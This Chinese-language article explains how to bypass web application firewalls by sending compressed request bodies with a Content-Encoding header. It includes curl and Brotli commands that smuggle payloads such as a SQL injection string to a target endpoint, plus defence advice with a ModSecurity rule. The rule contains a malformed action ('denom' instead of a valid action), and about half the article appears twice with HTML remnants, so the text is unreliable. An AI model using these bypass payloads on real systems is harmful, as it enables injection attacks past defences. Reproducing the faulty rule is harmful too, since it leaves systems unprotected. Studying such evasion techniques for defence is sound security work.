利用 Content-Encoding 协议差异绕过 WAF 技术分析与实践<\/strong><\/h1>
1. 核心原理：WAF 与后端服务的协议解析差异<\/strong><\/h2>
常规认知中，Content-Encoding<\/code> HTTP 头通常用于服务器响应<\/strong>，以告知客户端响应的正文（Body）使用了何种编码（或压缩）方式（如 gzip<\/code>, deflate<\/code>），客户端据此进行解码。<\/p>
然而，根据 RFC 9110 (HTTP Semantics) 第 8.4 节<\/strong> 的定义：<\/p>
Content-Encoding<\/code> 用于指示消息内容（message content）<\/strong> 的编码转换，并未严格限定其仅能用于响应。<\/li> 该RFC指出，服务器若收到带有不支持编码方式的请求，应当返回 415 Unsupported Media Type<\/code><\/strong>。<\/li> <\/ul> 这从协议标准上明确了在HTTP请求中使用 Content-Encoding<\/code> 头是合法的<\/strong>。但由于几乎没有主流浏览器或HTTP客户端会主动发送压缩后的请求体，这使得该特性成为一个极为冷门<\/strong>的角落。<\/p> 关键差异点<\/strong>：<\/p> WAF (Web Application Firewall)<\/strong>：作为请求的中间检查者，其设计目标通常是处理常见的、未编码的明文请求。许多WAF的实现未考虑到处理这种冷门的、压缩的请求体，因此会直接将其作为“无法解析”的内容而选择跳过检查或默认放行。<\/li> 后端服务 (Web Server\/Application Framework)<\/strong>：一些实现了完整HTTP协议栈的Web框架，其代码设计上对请求和响应的处理逻辑是共用的<\/strong>。这意味着，原本为解析压缩响应体而编写的解码器，同样可以应用于处理压缩请求体。<\/li> <\/ul> 这种WAF与后端服务在协议支持度上的认知差<\/strong>和实现差<\/strong>，构成了完美的绕过条件。<\/p> 2. 受影响的常见后端服务<\/strong><\/h2> 并非所有Web服务器和框架都支持解析压缩的请求体。经原文作者测试，以下常见技术栈支持此特性：<\/p> 技术栈<\/th> 支持的编码方式<\/th> 备注<\/th> <\/tr> <\/thead> Node.js<\/strong> (及 Express, Koa 等框架)<\/td> gzip<\/code>, deflate<\/code>, br<\/code> (brotli)<\/td> 利用价值最高<\/strong>，应用极其广泛。<\/td> <\/tr> aiohttp<\/strong> (Python)<\/td> gzip<\/code>, deflate<\/code>, br<\/code>, zstd<\/code><\/td> 常用作异步HTTP客户端\/服务器。<\/td> <\/tr> Apache HTTPD<\/strong> + mod_deflate<\/code><\/td> gzip<\/code>, deflate<\/code><\/td> 需手动配置 InputFilter<\/code>，默认不启用，实战中少见。<\/td> <\/tr> Warp<\/strong> (Rust)<\/td> gzip<\/code>, deflate<\/code>, br<\/code><\/td> 需在服务端代码中手动启用，默认不启用，实战中少见。<\/td> <\/tr> <\/tbody> <\/table> 结论<\/strong>：在实际渗透测试中，若识别出目标后端为 Node.js<\/strong> 或基于其的框架，此绕过手法的成功率最高。<\/p> 3. 利用方法 (PoC)<\/strong><\/h2> 攻击者需要构造一个特殊的HTTP请求，其Body是经过压缩的恶意载荷（如SQL注入、命令注入、SSRF等Payload），并在请求头中指明对应的编码方式。<\/p> 3.1 使用 Gzip 压缩<\/strong><\/h3> # 将恶意Payload写入文件或直接通过管道压缩<\/span> <\/span><\/span>echo "您的恶意Payload，例如：' OR 1=1-- -"<\/span> | gzip -f -c > payload.gz <\/span><\/span> <\/span><\/span># 使用curl发送请求<\/span> <\/span><\/span>curl -v http:\/\/target.com\/vulnerable\/endpoint \ <\/span><\/span><\/span><\/span> -H "Content-Type: application\/json"<\/span> \ <\/span><\/span><\/span><\/span> -H "Content-Encoding: gzip"<\/span> \ <\/span><\/span><\/span><\/span> --data-binary @payload.gz <\/span><\/span> <\/span><\/span># 或使用管道一步完成<\/span> <\/span><\/span>echo "您的恶意Payload"<\/span> | gzip -f | curl -v http:\/\/target.com\/vulnerable\/endpoint \ <\/span><\/span><\/span><\/span> -H "Content-Type: application\/json"<\/span> \ <\/span><\/span><\/span><\/span> -H "Content-Encoding: gzip"<\/span> \ <\/span><\/span><\/span><\/span> --data-binary @- <\/span><\/span><\/code><\/pre>3.2 使用 Brotli 压缩（推荐）<\/strong><\/h3> Brotli (br<\/code>) 相比Gzip是更新、更不常见的压缩算法。一些现代WAF可能会尝试自动解压gzip<\/code>内容进行检查，但对br<\/code>的支持更差，因此绕过效果通常更好<\/strong>。<\/p> # 首先确保系统安装了brotli工具（例如：apt install brotli）<\/span> <\/span><\/span>echo "您的恶意Payload"<\/span> | brotli -9 -f -c > payload.br <\/span><\/span> <\/span><\/span>curl -v http:\/\/target.com\/vulnerable\/endpoint \ <\/span><\/span><\/span><\/span> -H "Content-Type: application\/json"<\/span> \ <\/span><\/span><\/span><\/span> -H "Content-Encoding: br"<\/span> \ <\/span><\/span><\/span><\/span> --data-binary @payload.br <\/span><\/span> <\/span><\/span># 管道方式<\/span> <\/span><\/span>echo "您的恶意Payload"<\/span> | brotli -9 -f | curl -v http:\/\/target.com\/vulnerable\/endpoint \ <\/span><\/span><\/span><\/span> -H "Content-Type: application\/json"<\/span> \ <\/span><\/span><\/span><\/span> -H "Content-Encoding: br"<\/span> \ <\/span><\/span><\/span><\/span> --data-binary @- <\/span><\/span><\/code><\/pre>重要提示<\/strong>： Brotli 在对非常短<\/strong>的字符串进行编码时，可能会因为压缩无法获益而直接返回明文。因此，为确保混淆效果，Payload需要有一定的长度<\/strong>（可添加大量无用注释或填充字符）。<\/p> 3.3 注意事项<\/strong><\/h3> Content-Type<\/strong>：必须设置正确的 Content-Type<\/code> 头（如 application\/json<\/code>, application\/x-www-form-urlencoded<\/code>），以确保后端应用服务器能正确地将解码后的Body解析为参数。<\/li> 工具支持<\/strong>：确保用于压缩和发送命令的本地环境已安装相应的压缩工具（gzip<\/code>, brotli<\/code>）。<\/li> <\/ul> 4. 防御与检测方案<\/strong><\/h2> 4.1 对于WAF厂商\/运维人员<\/strong><\/h3> 参考OWASP CRS规则集<\/strong>：这是目前已知能有效防御此手法的公开规则集。其策略是：将不支持的 Content-Encoding<\/code> 类型列入受限头列表，直接拒绝请求<\/strong>。相关规则路径： REQUEST-901-INITIALIZATION.conf<\/code><\/li> 关键配置示例： # 定义允许的请求Content-Encoding类型，通常只应为空或identity SecRule REQUEST_HEADERS:Content-Encoding "!^$|^identity$" "phase:1,log,denom,status:415,id:901165,t:lowercase,msg:'Request Content-Encoding is not allowed by policy',tag:paranoia-level\/1" <\/code><\/pre> <\/li> <\/ul> <\/li> 增强解码能力<\/strong>： WAF应具备解压常见编码（gzip<\/code>, deflate<\/code>, br<\/code>）的能力，并对解码后的原始内容进行安全检测。<\/li> <\/ol> 4.2 对于后端开发人员<\/strong><\/h3> 显式关闭不支持的功能<\/strong>：如果应用不需要接受压缩的请求，应在Web服务器或框架配置中显式禁用<\/strong>此功能。<\/li> 在应用层进行输入处理<\/strong>：不要完全依赖WAF。在应用自身逻辑中，对输入进行严格的校验和过滤。<\/li> <\/ol> 5. 延伸思考<\/strong><\/h2> 此案例揭示了WAF绕过的核心思路之一：利用协议规范中的冷门特性，制造中间设备（WAF）与最终解析者（后端服务）之间的处理差异<\/strong>。<\/p> 研究人员可以循此思路，继续探索其他可能的协议层绕过点：<\/p> Transfer-Encoding<\/strong>：虽然RFC允许多个编码值（如 chunked, gzip<\/code>），但主流后端实现通常只支持 chunked<\/code>，利用难度较大，但仍可深入研究。<\/li> HTTP\/2、HTTP\/3 特性<\/strong>：新协议带来的新特性可能产生新的解析差异。<\/li> 非标准头或非标准用法<\/strong>：研究各种Web框架和服务器对非标准头或标准头非标准用法的独特解析行为。<\/li> <\/ul> 免责声明<\/strong>：本文档仅用于安全技术研究和教学目的，旨在帮助企业和开发者提升其安全防护能力。请勿将文中所述技术用于任何非法渗透测试或攻击活动。<\/p>

技术栈<\/th>	支持的编码方式<\/th>	备注<\/th> <\/tr> <\/thead>
Node.js<\/strong> (及 Express, Koa 等框架)<\/td>	`gzip<\/code>, deflate<\/code>, br<\/code> (brotli)<\/td>`	利用价值最高<\/strong>，应用极其广泛。<\/td> <\/tr>
aiohttp<\/strong> (Python)<\/td>	`gzip<\/code>, deflate<\/code>, br<\/code>, zstd<\/code><\/td>`	常用作异步HTTP客户端\/服务器。<\/td> <\/tr>
Apache HTTPD<\/strong> + `mod_deflate<\/code><\/td>`	`gzip<\/code>, deflate<\/code><\/td>`	需手动配置 `InputFilter<\/code>，默认不启用，实战中少见。<\/td> <\/tr>`
Warp<\/strong> (Rust)<\/td>	`gzip<\/code>, deflate<\/code>, br<\/code><\/td>`	需在服务端代码中手动启用，默认不启用，实战中少见。<\/td> <\/tr> <\/tbody> <\/table> 结论<\/strong>：在实际渗透测试中，若识别出目标后端为 Node.js<\/strong> 或基于其的框架，此绕过手法的成功率最高。<\/p> 3. 利用方法 (PoC)<\/strong><\/h2> 攻击者需要构造一个特殊的HTTP请求，其Body是经过压缩的恶意载荷（如SQL注入、命令注入、SSRF等Payload），并在请求头中指明对应的编码方式。<\/p> 3.1 使用 Gzip 压缩<\/strong><\/h3> # 将恶意Payload写入文件或直接通过管道压缩<\/span> <\/span><\/span>echo "您的恶意Payload，例如：' OR 1=1-- -"<\/span> \| gzip -f -c > payload.gz <\/span><\/span> <\/span><\/span># 使用curl发送请求<\/span> <\/span><\/span>curl -v http:\/\/target.com\/vulnerable\/endpoint \ <\/span><\/span><\/span><\/span> -H "Content-Type: application\/json"<\/span> \ <\/span><\/span><\/span><\/span> -H "Content-Encoding: gzip"<\/span> \ <\/span><\/span><\/span><\/span> --data-binary @payload.gz <\/span><\/span> <\/span><\/span># 或使用管道一步完成<\/span> <\/span><\/span>echo "您的恶意Payload"<\/span> \| gzip -f \| curl -v http:\/\/target.com\/vulnerable\/endpoint \ <\/span><\/span><\/span><\/span> -H "Content-Type: application\/json"<\/span> \ <\/span><\/span><\/span><\/span> -H "Content-Encoding: gzip"<\/span> \ <\/span><\/span><\/span><\/span> --data-binary @- <\/span><\/span><\/code><\/pre>3.2 使用 Brotli 压缩（推荐）<\/strong><\/h3> Brotli (br<\/code>) 相比Gzip是更新、更不常见的压缩算法。一些现代WAF可能会尝试自动解压gzip<\/code>内容进行检查，但对br<\/code>的支持更差，因此绕过效果通常更好<\/strong>。<\/p> # 首先确保系统安装了brotli工具（例如：apt install brotli）<\/span> <\/span><\/span>echo "您的恶意Payload"<\/span> \| brotli -9 -f -c > payload.br <\/span><\/span> <\/span><\/span>curl -v http:\/\/target.com\/vulnerable\/endpoint \ <\/span><\/span><\/span><\/span> -H "Content-Type: application\/json"<\/span> \ <\/span><\/span><\/span><\/span> -H "Content-Encoding: br"<\/span> \ <\/span><\/span><\/span><\/span> --data-binary @payload.br <\/span><\/span> <\/span><\/span># 管道方式<\/span> <\/span><\/span>echo "您的恶意Payload"<\/span> \| brotli -9 -f \| curl -v http:\/\/target.com\/vulnerable\/endpoint \ <\/span><\/span><\/span><\/span> -H "Content-Type: application\/json"<\/span> \ <\/span><\/span><\/span><\/span> -H "Content-Encoding: br"<\/span> \ <\/span><\/span><\/span><\/span> --data-binary @- <\/span><\/span><\/code><\/pre>重要提示<\/strong>： Brotli 在对非常短<\/strong>的字符串进行编码时，可能会因为压缩无法获益而直接返回明文。因此，为确保混淆效果，Payload需要有一定的长度<\/strong>（可添加大量无用注释或填充字符）。<\/p> 3.3 注意事项<\/strong><\/h3> Content-Type<\/strong>：必须设置正确的 Content-Type<\/code> 头（如 application\/json<\/code>, application\/x-www-form-urlencoded<\/code>），以确保后端应用服务器能正确地将解码后的Body解析为参数。<\/li> 工具支持<\/strong>：确保用于压缩和发送命令的本地环境已安装相应的压缩工具（gzip<\/code>, brotli<\/code>）。<\/li> <\/ul> 4. 防御与检测方案<\/strong><\/h2> 4.1 对于WAF厂商\/运维人员<\/strong><\/h3> 参考OWASP CRS规则集<\/strong>：这是目前已知能有效防御此手法的公开规则集。其策略是：将不支持的 Content-Encoding<\/code> 类型列入受限头列表，直接拒绝请求<\/strong>。相关规则路径： REQUEST-901-INITIALIZATION.conf<\/code><\/li> 关键配置示例： # 定义允许的请求Content-Encoding类型，通常只应为空或identity SecRule REQUEST_HEADERS:Content-Encoding "!^$\|^identity$" "phase:1,log,denom,status:415,id:901165,t:lowercase,msg:'Request Content-Encoding is not allowed by policy',tag:paranoia-level\/1" <\/code><\/pre> <\/li> <\/ul> <\/li> 增强解码能力<\/strong>： WAF应具备解压常见编码（gzip<\/code>, deflate<\/code>, br<\/code>）的能力，并对解码后的原始内容进行安全检测。<\/li> <\/ol> 4.2 对于后端开发人员<\/strong><\/h3> 显式关闭不支持的功能<\/strong>：如果应用不需要接受压缩的请求，应在Web服务器或框架配置中显式禁用<\/strong>此功能。<\/li> 在应用层进行输入处理<\/strong>：不要完全依赖WAF。在应用自身逻辑中，对输入进行严格的校验和过滤。<\/li> <\/ol> 5. 延伸思考<\/strong><\/h2> 此案例揭示了WAF绕过的核心思路之一：利用协议规范中的冷门特性，制造中间设备（WAF）与最终解析者（后端服务）之间的处理差异<\/strong>。<\/p> 研究人员可以循此思路，继续探索其他可能的协议层绕过点：<\/p> Transfer-Encoding<\/strong>：虽然RFC允许多个编码值（如 chunked, gzip<\/code>），但主流后端实现通常只支持 chunked<\/code>，利用难度较大，但仍可深入研究。<\/li> HTTP\/2、HTTP\/3 特性<\/strong>：新协议带来的新特性可能产生新的解析差异。<\/li> 非标准头或非标准用法<\/strong>：研究各种Web框架和服务器对非标准头或标准头非标准用法的独特解析行为。<\/li> <\/ul> 免责声明<\/strong>：本文档仅用于安全技术研究和教学目的，旨在帮助企业和开发者提升其安全防护能力。请勿将文中所述技术用于任何非法渗透测试或攻击活动。<\/p>